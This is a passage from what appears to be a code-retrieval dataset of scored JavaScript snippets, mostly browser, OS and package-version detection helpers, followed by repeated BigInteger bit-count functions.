[];\n return {name:'IE',version:(tem[1]||'')};\n }\n if(M[1]==='Chrome'){\n tem=ua.match(/\\bOPR|Edge\\/(\\d+)/)\n if(tem!=null) {return {name:'Edge', version:tem[1]};}\n }\n M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];\n if((tem=ua.match(/version\\/(\\d+)/i))!=null) {M.splice(1,1,tem[1]);}\n return {\n name: M[0],\n version: M[1]\n };\n }", "title": "" }, { "docid": "f2214e899ffa5f658bc8f41a6dfc79b5", "score": "0.5298791", "text": "getAssetUrl(release, filetype) {\n return this.getAssets(release).then((assets) => {\n for (var asset in assets) {\n if(assets[asset].browser_download_url.toLowerCase().endsWith(filetype.toLowerCase()))\n return assets[asset].browser_download_url;\n }\n return false;\n }).catch(() => {return false;});\n }", "title": "" }, { "docid": "30a48a9677e2cbb0b0b3a0c1d558d29d", "score": "0.5281136", "text": "get name() {\n // const base = this.base;\n // const theme = this.theme;\n return `${this.base}-${this.theme}`;\n }", "title": "" }, { "docid": "80739b0a4bdc46f2d32d806ed85ff582", "score": "0.5280893", "text": "parseOS({ agent: nAgt }) {\n\n let os = '-';\n let version = '-';\n let icon = '';\n\n // Test all existing regex\n OS_REQUEST_CONSTANTS.forEach(clientString => {\n if (clientString.regex.test(nAgt) && os === '-') {\n os = clientString.name;\n }\n });\n\n // Windows\n if (/Windows/.test(os)) {\n version = /Windows (.*)/.exec(os)[1];\n os = 'Windows';\n icon = faWindows;\n }\n\n switch (os) {\n\n // Mac OS\n case 'Mac OS X':\n version = /Mac OS X (10[._\\d]+)/.exec(nAgt)[1];\n icon = faApple;\n break;\n\n // Android\n case 'Android':\n version = /Android ([._\\d]+)/.exec(nAgt)[1];\n icon = faAndroid;\n break;\n\n // iOS\n case 'iOS':\n const osVersionIOS = /OS (\\d+)_(\\d+)_?(\\d+)?/.exec(nAgt);\n version = osVersionIOS[1] + '.' + osVersionIOS[2] + '.' + (osVersionIOS[3] || 0);\n icon = faApple;\n break;\n\n // All Linux systems\n case 'Linux':\n icon = faLinux;\n break;\n\n default:\n break;\n }\n\n // Return Operating system name, version and icon\n return { os: os, osVersion: version, osIcon: icon };\n }", "title": "" }, { "docid": "938af8930d2db9512bbef5a1411265dc", "score": "0.5270287", "text": "function versionInformation() {\n let _crComLibVersion = CrComLib.version;\n let _crComBuildDate = CrComLib.buildDate;\n let _versionEl = document.getElementById(\"versionDescription\");\n if (!!_crComLibVersion && !!_crComBuildDate) {\n let _successMessage = `Crestron Component Library<span>Version: ${_crComLibVersion}</span><span>Build date: ${_crComBuildDate}</span>`;\n if (!!_versionEl) {\n _versionEl.classList.remove(errorClass);\n _versionEl.innerHTML = _successMessage;\n }\n } else {\n if (!!_versionEl) {\n _versionEl.classList.add(errorClass);\n _versionEl.innerHTML = `Error: While fetching crestron component library version.`;\n }\n }\n }", "title": "" }, { "docid": "2c91843f1b5305c2652f719ad79a8970", "score": "0.52540344", "text": "function findVersion() {\n return $('meta').filter(function() {\n var name = $(this).attr('http-equiv')\n return name && name.toUpperCase() === 'X-PJAX-VERSION'\n }).attr('content')\n }", "title": "" }, { "docid": "7d7bf35d9089cf61cce8ec24617b7def", "score": "0.5246061", "text": "async function getToolVersion(version) {\n // semver_regex - https://semver.org/\n const semver_regex = /^(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)(?:-((?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\\+([0-9a-zA-Z-]+(?:\\.[0-9a-zA-Z-]+)*))?$/;\n const composer_regex = /^stable$|^preview$|^snapshot$|^v?[1|2]$/;\n version = version.replace(/[><=^]*/, '');\n switch (true) {\n case version.charAt(0) == 'v':\n return version.replace('v', '');\n case composer_regex.test(version):\n case semver_regex.test(version):\n return version;\n default:\n return 'latest';\n }\n}", "title": "" }, { "docid": "200bb1ef52ee57f0110a47906511c0b0", "score": "0.5232942", "text": "getImageName(org) {\n return undefined;\n }", "title": "" }, { "docid": "6b0ee9a63f96aad2ced4c887cdd54c4a", "score": "0.52285796", "text": "static name(url) {\n return url.toString().replace(/.*\\//,\"\")\n }", "title": "" }, { "docid": "5fd9e89f7530420aa2d3dc6c6db6fd44", "score": "0.5208853", "text": "function getBrowser() {\n // Opera 8.0+ (UA detection to detect Blink/v8-powered Opera)\n if (!!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0) return \"Opera\";\n // Firefox 1.0+\n if (typeof InstallTrigger !== 'undefined') return \"Firefox\";\n // Safari 3.0+\n if (Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0 || function (p) {\n return p.toString() === \"[object SafariRemoteNotification]\";\n }(!window['safari'] || safari.pushNotification)) return \"Safari\";\n // Internet Explorer 6-11\n\n if (false || !!document.documentMode) return \"Internet Explorer\";\n // Edge 20+\n if (!(false || !!document.documentMode) && !!window.StyleMedia) return \"Edge\";\n // Chrome 1+\n if (!!window.chrome && !!window.chrome.webstore) return \"Chrome\";\n // Blink engine detection\n if ((isChrome || isOpera) && !!window.CSS) return \"Blink\";\n return \"Unknown\";\n}", "title": "" }, { "docid": "79a053f8091eba00f3620d5c88fb5e13", "score": "0.52084", "text": "function _browserSniff() {\n var ua = navigator.userAgent,\n name = navigator.appName,\n fullVersion = '' + parseFloat(navigator.appVersion),\n majorVersion = parseInt(navigator.appVersion, 10),\n nameOffset,\n verOffset,\n ix,\n isIE = false,\n isFirefox = false,\n isChrome = false,\n isSafari = false;\n\n if (navigator.appVersion.indexOf('Windows NT') !== -1 && navigator.appVersion.indexOf('rv:11') !== -1) {\n // MSIE 11\n isIE = true;\n name = 'IE';\n fullVersion = '11';\n } else if ((verOffset = ua.indexOf('MSIE')) !== -1) {\n // MSIE\n isIE = true;\n name = 'IE';\n fullVersion = ua.substring(verOffset + 5);\n } else if ((verOffset = ua.indexOf('Chrome')) !== -1) {\n // Chrome\n isChrome = true;\n name = 'Chrome';\n fullVersion = ua.substring(verOffset + 7);\n } else if ((verOffset = ua.indexOf('Safari')) !== -1) {\n // Safari\n isSafari = true;\n name = 'Safari';\n fullVersion = ua.substring(verOffset + 7);\n if ((verOffset = ua.indexOf('Version')) !== -1) {\n fullVersion = ua.substring(verOffset + 8);\n }\n } else if ((verOffset = ua.indexOf('Firefox')) !== -1) {\n // Firefox\n isFirefox = true;\n name = 'Firefox';\n fullVersion = ua.substring(verOffset + 8);\n } else if ((nameOffset = ua.lastIndexOf(' ') + 1) < (verOffset = ua.lastIndexOf('/'))) {\n // In most other browsers, 'name/version' is at the end of userAgent\n name = ua.substring(nameOffset, verOffset);\n fullVersion = ua.substring(verOffset + 1);\n\n if (name.toLowerCase() === name.toUpperCase()) {\n name = navigator.appName;\n }\n }\n\n // Trim the fullVersion string at semicolon/space if present\n if ((ix = fullVersion.indexOf(';')) !== -1) {\n fullVersion = fullVersion.substring(0, ix);\n }\n if ((ix = fullVersion.indexOf(' ')) !== -1) {\n fullVersion = fullVersion.substring(0, ix);\n }\n\n // Get major version\n majorVersion = parseInt('' + fullVersion, 10);\n if (isNaN(majorVersion)) {\n fullVersion = '' + parseFloat(navigator.appVersion);\n majorVersion = parseInt(navigator.appVersion, 10);\n }\n\n // Return data\n return {\n name: name,\n version: majorVersion,\n isIE: isIE,\n isFirefox: isFirefox,\n isChrome: isChrome,\n isSafari: isSafari,\n isIos: /(iPad|iPhone|iPod)/g.test(navigator.platform),\n isIphone: /(iPhone|iPod)/g.test(navigator.userAgent),\n isTouch: 'ontouchstart' in document.documentElement,\n };\n }", "title": "" }, { "docid": "c2c1d8efe90a044299435d5f569e42cc", "score": "0.51993924", "text": "function GetDefaultSuffix()\n{\n var s = \"8\";\n if (g_msvcver == \"80\") {\n s = \"8\";\n } else if (g_msvcver == \"80x64\") {\n s = \"8.64\";\n } else if (g_msvcver == \"90\") {\n s = \"9\";\n } else if (g_msvcver == \"90x64\") {\n s = \"9.64\";\n } else if (g_msvcver == \"100\") {\n s = \"10\";\n } else if (g_msvcver == \"100x64\") {\n s = \"10.64\";\n } else {\n s = \"71\";\n }\n return s;\n}", "title": "" }, { "docid": "561ea272074189204b96a07b4d01e359", "score": "0.5198982", "text": "function getUserAgent() {\n var format = require(\"util\").format,\n version = require(\"../package\").version;\n\n return format(\n \"analyze-css/%s (%s %s, %s %s)\",\n version,\n process.release.name,\n process.version,\n process.platform,\n process.arch,\n );\n}", "title": "" }, { "docid": "db9ff3a1bf57fde51aa87ee955390a9e", "score": "0.51946753", "text": "async function getDisplayVersion() {\n const info = await p$`(Get-ItemProperty \"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\").DisplayVersion`;\n return info?.trim() ?? 'UNKNOWN';\n}", "title": "" }, { "docid": "5d455e1445e01fa6e7a6673e6fef27eb", "score": "0.519266", "text": "function getVersion() {\n\treturn typeof version !== 'undefined' ? ('v' + version) : '(unknown build)';\n}", "title": "" }, { "docid": "81306220202890b4e01c0d1bbb3d9731", "score": "0.5189983", "text": "function get_latest_version() {\n\n}", "title": "" }, { "docid": "45e1197c249834cb143e64b24837c217", "score": "0.5175966", "text": "function deriveVersionFromPath () {\n const enterpriseRegex = patterns.getEnterpriseServerNumber\n const enterprise = location.pathname.match(enterpriseRegex)\n return enterprise ? enterprise[1] : 'dotcom'\n}", "title": "" }, { "docid": "cb2addb5d9d196d248cf820ddd76421e", "score": "0.51672834", "text": "getPlatformInfoString() {\n const providers = this.container.getProviders(); // Loop through providers and get library/version pairs from any that are\n // version components.\n\n return providers.map(provider => {\n if (isVersionServiceProvider(provider)) {\n const service = provider.getImmediate();\n return `${service.library}/${service.version}`;\n } else {\n return null;\n }\n }).filter(logString => logString).join(' ');\n }", "title": "" }, { "docid": "827767ae74ee68d5a2c0aa56134f9383", "score": "0.51664597", "text": "GetCurrentModVersionFromConfig(name) {\n let toReturn = null;\n for (let i = 0; i < global.config.current_mod_versions.length; i++) {\n let element = global.config.current_mod_versions[i];\n if (element.name && element.name == name) {\n toReturn = element;\n break;\n }\n }\n //Return the version if it was there.\n if (toReturn != null) {\n return toReturn.version;\n } else {\n return null;\n }\n}", "title": "" }, { "docid": "891ad180449f85e68fb5e7b781a33c21", "score": "0.51663774", "text": "function findVersion() {\n return $('meta').filter(function() {\n var name = $(this).attr('http-equiv')\n return name && name.toUpperCase() === 'X-PJAX-VERSION'\n }).attr('content')\n}", "title": "" }, { "docid": "0d06f4fcef871c3404ed2fccde3184d1", "score": "0.5163815", "text": "function getFileName(isForHumans) {\n var name = getCurrentTemplate().used_data_file || \"\";\n if (state.tags.files.filter(function (x) {\n return x.filename == name;\n }).length == 0) {\n return \"\";\n }\n // guid + .csv is added to filename for uniqueness. \n // remove that part if need to show name in ui\n if (isForHumans) {\n name = name.substr(0, name.length - 41);\n }\n return name;\n }", "title": "" }, { "docid": "8d68926221bb7f2e04103566f359d7ba", "score": "0.5154769", "text": "function getBrowser(){\n var userAgent = navigator.userAgent.toLowerCase();\n $.browser.chrome = /chrome/.test(userAgent);\n $.browser.safari= /webkit/.test(userAgent);\n $.browser.opera=/opera/.test(userAgent);\n $.browser.msie=/msie/.test( userAgent ) && !/opera/.test( userAgent );\n $.browser.mozilla= /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent ) || /firefox/.test(userAgent);\n\n if($.browser.chrome) return \"chrome\";\n if($.browser.mozilla) return \"mozilla\";\n if($.browser.opera) return \"opera\";\n if($.browser.safari) return \"safari\";\n if($.browser.msie) return \"ie\";\n }", "title": "" }, { "docid": "9650fc6d27a6fa0d8f1135fc076d1401", "score": "0.51524496", "text": "function getSomeNub() {\n // version.php\n let { browser, platform } = nub;\n return { browser, platform };\n}", "title": "" }, { "docid": "d892a92cfae10a74df4bb08f4877d5ef", "score": "0.5148316", "text": "function getBrowser() {\n \n var userAgent = navigator.userAgent.toLowerCase();\n //Check if browser is IE or not\n if (userAgent.search(\"msie\") >= 0) {\n return \"internetexplorer\";\n }\n //Check if browser is Safari or not\n else if (userAgent.search(\"safari\") >= 0 && userAgent.search(\"chrome\") < 0 && userAgent.search(\"fxios\") < 0 && userAgent.search(\"crios\") < 0) {\n return \"safari\";\n }\n //Check if browser is Chrome or not\n else if (userAgent.search(\"chrome\") >= 0) {\n return \"chrome\";\n }\n //Check if browser is Chrome or not\n else if (userAgent.search(\"crios\") >= 0) {\n return \"chrome\";\n }\n //Check if browser is Firefox or not\n else if (userAgent.search(\"firefox\") >= 0) {\n return \"firefox\";\n }\n else if (userAgent.search(\"fxios\") >= 0) {\n return \"firefox\";\n }\n //Check if browser is Opera or not\n else if (userAgent.search(\"opera\") >= 0) {\n return \"opera\";\n }\n else if (userAgent.search(\"opios\") >= 0) {\n return \"opera\";\n }\n else if (userAgent.search(\"ucbrowser\") >= 0) {\n return \"ucbrowser\";\n }\n }", "title": "" }, { "docid": "98967a679796dfa1ca93d024c7a76aa6", "score": "0.51477396", "text": "function getChromeAppName() {\n switch (process.platform) {\n case 'darwin':\n return 'google chrome';\n case 'win32':\n return 'chrome';\n case 'linux':\n if (commandExistsUnixSync('google-chrome')) {\n return 'google-chrome';\n }\n if (commandExistsUnixSync('chromium-browser')) {\n return 'chromium-browser';\n }\n return 'chromium';\n default:\n return 'google-chrome';\n }\n}", "title": "" }, { "docid": "18017111d9c286465f09a2f107eb8bf5", "score": "0.5144747", "text": "guessVersion() {\n return this.pkg.version;\n }", "title": "" }, { "docid": "712e4dcd8313e0bf56a8016021698042", "score": "0.51394683", "text": "function getBundleName(callback) {\n self.getBundleName(function(err, _bundleName) {\n if (err) {\n callback(err);\n return;\n }\n\n bundleName = _bundleName;\n\n bundleNameFull = misc.getFullBundleName(bundleName, bundleVersion);\n extractedBundleRoot = path.join(config.get()['extracted_dir'], bundleName);\n extractedBundlePath = path.join(extractedBundleRoot, bundleNameFull);\n newInstanceVersionPath = path.join(instanceVersionsRoot, bundleNameFull);\n callback();\n });\n }", "title": "" }, { "docid": "6644f856147615e2563237382d154b62", "score": "0.513866", "text": "function scriptInfo() {\r\n return `[${scriptData.name} ${scriptData.version}]`;\r\n}", "title": "" }, { "docid": "b775f60e0acf228d886eb19ea9071740", "score": "0.5131467", "text": "function getBVers() {\n if (is_ie) return \"IE \" + agt.substr((agt.indexOf(\"msie\") + 5), 3);\n if (is_ff) return \"Firefox \" + agt.substr((agt.indexOf(\"firefox/\") + 8), 5);\n if (is_navonly) return \"Nav \" + agt.substr((agt.indexOf(\"nav\") + 4), 5);\n if (is_aol) return \"AOL \" + agt.substr((agt.indexOf(\"aol\") + 4), 5);\n}", "title": "" }, { "docid": "9c1f56105bd0ec23232b3a0a0387cfd6", "score": "0.51223695", "text": "getPlatformInfoString() {\r\n const providers = this.container.getProviders();\r\n // Loop through providers and get library/version pairs from any that are\r\n // version components.\r\n return providers\r\n .map(provider => {\r\n if (isVersionServiceProvider(provider)) {\r\n const service = provider.getImmediate();\r\n return `${service.library}/${service.version}`;\r\n }\r\n else {\r\n return null;\r\n }\r\n })\r\n .filter(logString => logString)\r\n .join(' ');\r\n }", "title": "" }, { "docid": "291586395e5c053cc54638449610c23b", "score": "0.5120851", "text": "function iOSversion() {\n\n if (/iPhone/.test(navigator.userAgent) && !window.MSStream && window.orientation !== 0) {\n $('.cta, #copyright-links').addClass('ios-fix');\n $('#em-container .molecule img').attr('src', 'app/images/molecules-01.svg');\n $('#metering-container .molecule img').attr('src', 'app/images/molecules-02.svg');\n $('#at-container .molecule img').attr('src', 'app/images/molecules-03.svg');\n }\n else if (/iPhone/.test(navigator.userAgent) && !window.MSStream && window.orientation == 0) {\n $('.cta, #copyright-links').addClass('ios-fix');\n $('#em-container .molecule img').attr('src', 'app/images/molecules-01-long.svg');\n $('#metering-container .molecule img').attr('src', 'app/images/molecules-02-long.svg');\n $('#at-container .molecule img').attr('src', 'app/images/molecules-03-long.svg');\n \n }\n else if (/iPad|iPod/.test(navigator.userAgent) && !window.MSStream) {\n $('.cta, #copyright-links').addClass('ios-fix');\n $('#em-container .molecule img').attr('src', 'app/images/molecules-01-long.svg');\n $('#metering-container .molecule img').attr('src', 'app/images/molecules-02-long.svg');\n $('#at-container .molecule img').attr('src', 'app/images/molecules-03-long.svg');\n \n }\n return 'Not an iOS device';\n }", "title": "" }, { "docid": "06de4b5ecefd05754a0c32a76b5a4f11", "score": "0.50888747", "text": "function getBrowser(){\n\t\tvar userAgent = navigator.userAgent.toLowerCase();\n\t\t$.browser.chrome = /chrome/.test(userAgent);\n\t\t$.browser.safari= /webkit/.test(userAgent);\n\t\t$.browser.opera=/opera/.test(userAgent);\n\t\t$.browser.msie=/msie/.test( userAgent ) && !/opera/.test( userAgent );\n\t\t$.browser.mozilla= /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent ) || /firefox/.test(userAgent);\n\n\t\tif($.browser.chrome) return \"chrome\";\n\t\tif($.browser.mozilla) return \"mozilla\";\n\t\tif($.browser.opera) return \"opera\";\n\t\tif($.browser.safari) return \"safari\";\n\t\tif($.browser.msie) return \"ie\";\n\t}", "title": "" }, { "docid": "222a371c2ef6cd38380600bdc677033e", "score": "0.5087306", "text": "assetPath(name) {\n const manifest = this.manifest();\n if (!manifest[name]) {\n throw new Error(`Cannot find path for \"${name}\" asset. Make sure you are compiling assets`);\n }\n return manifest[name];\n }", "title": "" }, { "docid": "0ab8c5d0f84ca57f1983beabcbe3d175", "score": "0.50866944", "text": "function CheckForRenderVersions(pathToRenders){\n\n\t// get folder where renders are\n\tvar renderFolder = new Folder(pathToRenders);\n\tvar pathToImages = pathToRenders;\n\n\t// continue ONLY if the render folder exists\n\tif(renderFolder.exists)\n\t{\t\n\t\t// get files in the folder && sort them\n\t\tvar folderContent = renderFolder.getFiles();\n\t\tfolderContent = folderContent.sort();\n\n\t\t// get the name of the last folder\n\t\tvar numFolders = folderContent.length;\n\t\tlastFolder = folderContent[numFolders - 1].name;\n\n\t\t// check if the last folder is a version folder && add the folder name to the path\n\t\t// NOTE : WE ARE CHECKING TO SEE IF THE RENDER FOLDER CONTAINS MULTIPLE VERSIONS\n\t\tif(/v?\\d{2}/.test(lastFolder)){\n\t\t\tpathToImages = pathToRenders + \"\\\\\" + lastFolder;\n\t\t}\n\n\t\treturn pathToImages;\n\t}\n\telse\n\t{\n alert(\"Error : the file : '\"+pathToRenders+\"' doesn't exists.\");\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "d2d41a99561cf62281edfd486f2efff8", "score": "0.50855005", "text": "function onLoadWork() {\n chrome.send('requestVersionInfo');\n}", "title": "" }, { "docid": "2162f06bd99f4f26eed5108d7856a70e", "score": "0.50842375", "text": "function GetControlIconName() {\n var locationPath = location && location.pathname ? location.pathname.split('/') : \"\";\n var controlIconName = locationPath && locationPath.length > 1 ? locationPath[locationPath.length - 2] : \"\";\n controlIconName = controlIconName ? \"igsb-\" + controlIconName.trim().replace(new RegExp(\"-\", \"g\"), \"\") : \"\";\n return controlIconName;\n}", "title": "" }, { "docid": "cfa23e1c455658e64722b996e5693561", "score": "0.5084037", "text": "function getBrowser() {\n\tvar browser = {\n\t\t\tmsie: false,\n\t\t\tfirefox: false,\n\t\t\topera: false,\n\t\t\tsafari: false,\n\t\t\tchrome: false,\n\t\t\tnetscape: false,\n\t\t\tappname: 'unknown',\n\t\t\tversion: 0\n\t\t},\n\t\tua = window.navigator.userAgent.toLowerCase();\n\tif (/(msie|firefox|opera|chrome|netscape)\\D+(\\d[\\d.]*)/.test(ua)) {\n\t\tbrowser[RegExp.$1] = true;\n\t\tbrowser.appname = RegExp.$1;\n\t\tbrowser.version = RegExp.$2;\n\t} else if (/version\\D+(\\d[\\d.]*).*safari/.test(ua)) {\n\t\t// safari\n\t\tbrowser.safari = true;\n\t\tbrowser.appname = 'safari';\n\t\tbrowser.version = RegExp.$2;\n\t}\n\treturn {\n\t\tappname:browser.appname,\n\t\tversion:browser.version\n\t}\n}", "title": "" }, { "docid": "623b6bb93353252d7cc529e291be594d", "score": "0.5079036", "text": "async function get_github_revision() {\n var data = await ipcRenderer.sendSync('get_github_revision', 'get_github_revision');\n $(\"#appTitle\").text(package.name + \" V.\" + package.version + \" [\" + data + \"]\");\n}", "title": "" }, { "docid": "bb372533d31e1a6288679af4085ced23", "score": "0.50696737", "text": "async function resolveVersion(name, version) {\n return (await registry.manifest(`${name}@${version}`)).version;\n}", "title": "" }, { "docid": "93d740e0d5202d66010b985a128f62a8", "score": "0.50664294", "text": "function render(name) {\n // const staticServer = config.staticServer\n const cdn = config.cdn\n const env = config.name\n const startup = config.startup\n const publicPath = assetsJson ? assetsJson.publicPath : '/' + cdn\n let css = ''\n let scripts = ''\n if (assetsJson && assetsJson[name]) {\n css = assetsJson[name].css.map(function (item) {\n return `<link rel=\"stylesheet\" href=\"${publicPath}/${item}\" />`\n }).join('')\n scripts = assetsJson[name].js.map(function (item) {\n return `<script type=\"text/javascript\" src=\"${publicPath}/${item}\"></script>`\n }).join('')\n }\n const html = `\n <!doctype html>\n <html>\n <head>\n <meta charset=\"utf-8\" />\n <meta content=\"IE=edge,chrome=1\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\" />\n <meta name=\"renderer\" content=\"webkit\" />\n <meta name=\"360-fullscreen\" content=\"true\" />\n <meta name=\"x5-fullscreen\" content=\"true\" />\n <meta name=\"full-screen\" content=\"yes\" />\n <meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n <meta name=\"http-equiv=X-UA-COMPATIBLE\" content=\"IE=edge,chrome=1\" />\n <meta name=\"startup\" content=\"${startup}\" />\n <meta content=\"${cdn}\" name=\"cdn\">\n <meta content=\"${env}\" name=\"env\">\n <link type=\"image/x-icon\" href=\"//static1.mtime.cn/favicon.ico\" rel=\"shortcut icon\" />\n <link type=\"image/x-icon\" href=\"//static1.mtime.cn/favicon.ico\" rel=\"bookmark\" />\n <link rel=\"apple-touch-icon\" href=\"//static1.mtime.cn/favicon.ico\" />\n ${css}\n <title>错误信息收集平台</title>\n </head>\n <body>\n <div id=\"app\">\n <!--vue-ssr-outlet-->\n </div>\n {{{ renderState() }}}\n {{{ renderScripts() }}}\n ${scripts}\n </body>\n </html>\n `\n return html\n}", "title": "" }, { "docid": "bf495ca599455b9de829827caf1a2916", "score": "0.5065301", "text": "function checkForUpdates() {\n var xhr = new XMLHttpRequest();\n xhr.open('GET', version_file);\n xhr.onload = function() {\n if (xhr.status == 200) {\n var repo_version = xhr.responseText;\n if (js_version.trim() != repo_version.trim()) {\n // other version available\n var info = document.createElement('DIV');\n info.id = 'ft-tools-update';\n info.className += ' ft_active';\n info.innerHTML = '<span title=\"Your version = ' + js_version + ' | New version = ' + repo_version + '\">*</span>';\n var btn = document.querySelector('#dim-tools-button');\n btn.appendChild(info);\n }\n } else {\n return null;\n }\n };\n xhr.send();\n }", "title": "" }, { "docid": "391ceeb27c36cb671273be374e03dc24", "score": "0.5058707", "text": "function getBrowser(){\n\tvar userAgent = navigator.userAgent.toLowerCase();\n\t$.browser = {}\n\t$.browser.chrome = /chrome/.test(userAgent);\n\t$.browser.safari= /webkit/.test(userAgent);\n\t$.browser.opera=/opera/.test(userAgent);\n\t$.browser.msie=/msie/.test( userAgent ) && !/opera/.test( userAgent );\n\t$.browser.mozilla= /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent ) || /firefox/.test(userAgent);\n\n\tif($.browser.chrome) return \"chrome\";\n\tif($.browser.mozilla) return \"mozilla\";\n\tif($.browser.opera) return \"opera\";\n\tif($.browser.safari) return \"safari\";\n\tif($.browser.msie) return \"ie\";\n}", "title": "" }, { "docid": "053c9a9dda5670866d07605737f11497", "score": "0.50582427", "text": "async function getComposerUrl(version) {\n const getComposerUrlHelper = async function (version) {\n const client = new httpm.HttpClient('setup-php');\n const response = await client.get('https://getcomposer.org/versions');\n const data = JSON.parse(await response.readBody());\n return 'https://getcomposer.org' + data[version][0]['path'];\n };\n switch (version) {\n case 'snapshot':\n return 'https://getcomposer.org/composer.phar';\n case 'preview':\n case '1':\n case '2':\n return await getComposerUrlHelper(version);\n default:\n return 'https://getcomposer.org/composer-stable.phar';\n }\n}", "title": "" }, { "docid": "f182451342155ea95504247db90cdb02", "score": "0.5055568", "text": "function getVersion() {\n return chrome.runtime.getManifest().version;\n}", "title": "" }, { "docid": "ff88fefe3e4db57c0fd9f5b54faee2f1", "score": "0.50551087", "text": "function GetVersion() {\r\n return exports.PACKAGE_JSON.version;\r\n}", "title": "" }, { "docid": "9aaccc92c4ac82eae613be5464cab89f", "score": "0.505223", "text": "static async generateTagVersion() {\n let tag = await this.getTag();\n\n if (tag.charAt(0) === 'v') {\n tag = tag.slice(1);\n }\n\n return tag;\n }", "title": "" }, { "docid": "17fb0bc5a8632e74ff2ea0125150b46b", "score": "0.50420916", "text": "function __sideloadFrom(a){currentReactVersion=a}", "title": "" }, { "docid": "a49111ab6ffbb6a581ae33cb529bb753", "score": "0.50400627", "text": "function getBrowserName () {\n if (process.env.SAUCE_BROWSER_NAME) {\n return process.env.SAUCE_BROWSER_NAME;\n }\n const platformName = process.env.SAUCE_PLATFORM_NAME || '';\n if (platformName.toLowerCase() === 'ios') {\n return 'Safari';\n }\n return 'Chrome';\n }", "title": "" }, { "docid": "fd2f1d79947ae8a9c841056090528935", "score": "0.5033355", "text": "extractFileName() {\n let fileName =\n typeof Config.extractVueStyles === 'string'\n ? Config.extractVueStyles\n : '/css/vue-styles.css';\n\n return fileName.replace(Config.publicPath, '').replace(/^\\//, '');\n }", "title": "" }, { "docid": "e0356729b885db549f3b8a25b3579df4", "score": "0.50318396", "text": "function handleAsset(name, rel) {\n let uniqueAssetsMap; // pick correct map depending on asset type\n\n if (name.endsWith(`.js`)) {\n uniqueAssetsMap = uniqScripts;\n } else if (name.endsWith(`.css`)) {\n uniqueAssetsMap = uniqStyles;\n }\n\n if (uniqueAssetsMap) {\n const existingAsset = uniqueAssetsMap.get(name);\n\n if (existingAsset && rel === `preload` && existingAsset.rel !== `preload`) {\n // if we already track this asset, but it's not preload - make sure we make it preload\n // as it has higher priority\n existingAsset.rel = `preload`;\n } else if (!existingAsset) {\n uniqueAssetsMap.set(name, {\n name,\n rel\n });\n }\n }\n } // Pick up scripts and styles that are used by a template using webpack.stats.json", "title": "" }, { "docid": "e4762d709aa4db2fe0f3e09fc5a2ff48", "score": "0.50302845", "text": "get platform() {\n return {\n name: 'Gitea',\n link: this.baseURL,\n version: 'v1',\n meta: {\n reactable: true,\n sortable: false,\n },\n };\n }", "title": "" }, { "docid": "03dfd310227560f01cc09143051f79a2", "score": "0.5016185", "text": "getFileName() {\n let loc = md5(window.location.href + Date.now());\n return `${loc}.html`;\n }", "title": "" }, { "docid": "d3f04454549985fe093aaded1506047c", "score": "0.5015977", "text": "function hashViewer() {\n var hash = window.location.hash;\n if (/view=/.test(hash)){\n // require assetViewer Repository\n hash = hash.replace(/.*view=/, '');\n var filepath = decodeURIComponent(hash);\n var viewerContainer = assetOverlay();\n overlayHeader(filepath);\n assetViewerSelector(filepath, viewerContainer)\n }\n }", "title": "" } ]
c5676ee934fc0245083b785b6a31c862
(public) return the number of bits in "this"
[ { "docid": "0a852be76da0ff1fef4e7fe0a0e2b154", "score": "0.7164797", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM));\n}", "title": "" } ]
[ { "docid": "ec1ab3b341da690b41707db71c366f14", "score": "0.7886142", "text": "function bitCount() : number {\n var this_array = this.array;\n var r = 0, x = this.s&BigInteger.DM;\n for(var i = 0; i < this.t; ++i) r += BigInteger.cbit(this_array[i]^x);\n return r;\n }", "title": "" }, { "docid": "ee943969dba54e147dd90b1f09b55989", "score": "0.7724705", "text": "function bnBitCount() {\n\t var r = 0, x = this.s&this.DM;\n\t for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n\t return r;\n\t }", "title": "" }, { "docid": "d0a3354f30e9d1bf72ebd4d4211766cd", "score": "0.7695087", "text": "function bnBitCount() {\n\tvar r = 0, x = this.s&this.DM;\n\tfor(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n\treturn r;\n }", "title": "" }, { "docid": "2a2da40fda5dd3f51fa4374190df9d6f", "score": "0.76382494", "text": "function bnBitCount() {\n\t var r = 0, x = this.s&this.DM;\n\t for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n\t return r;\n\t}", "title": "" }, { "docid": "2a2da40fda5dd3f51fa4374190df9d6f", "score": "0.76382494", "text": "function bnBitCount() {\n\t var r = 0, x = this.s&this.DM;\n\t for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n\t return r;\n\t}", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" 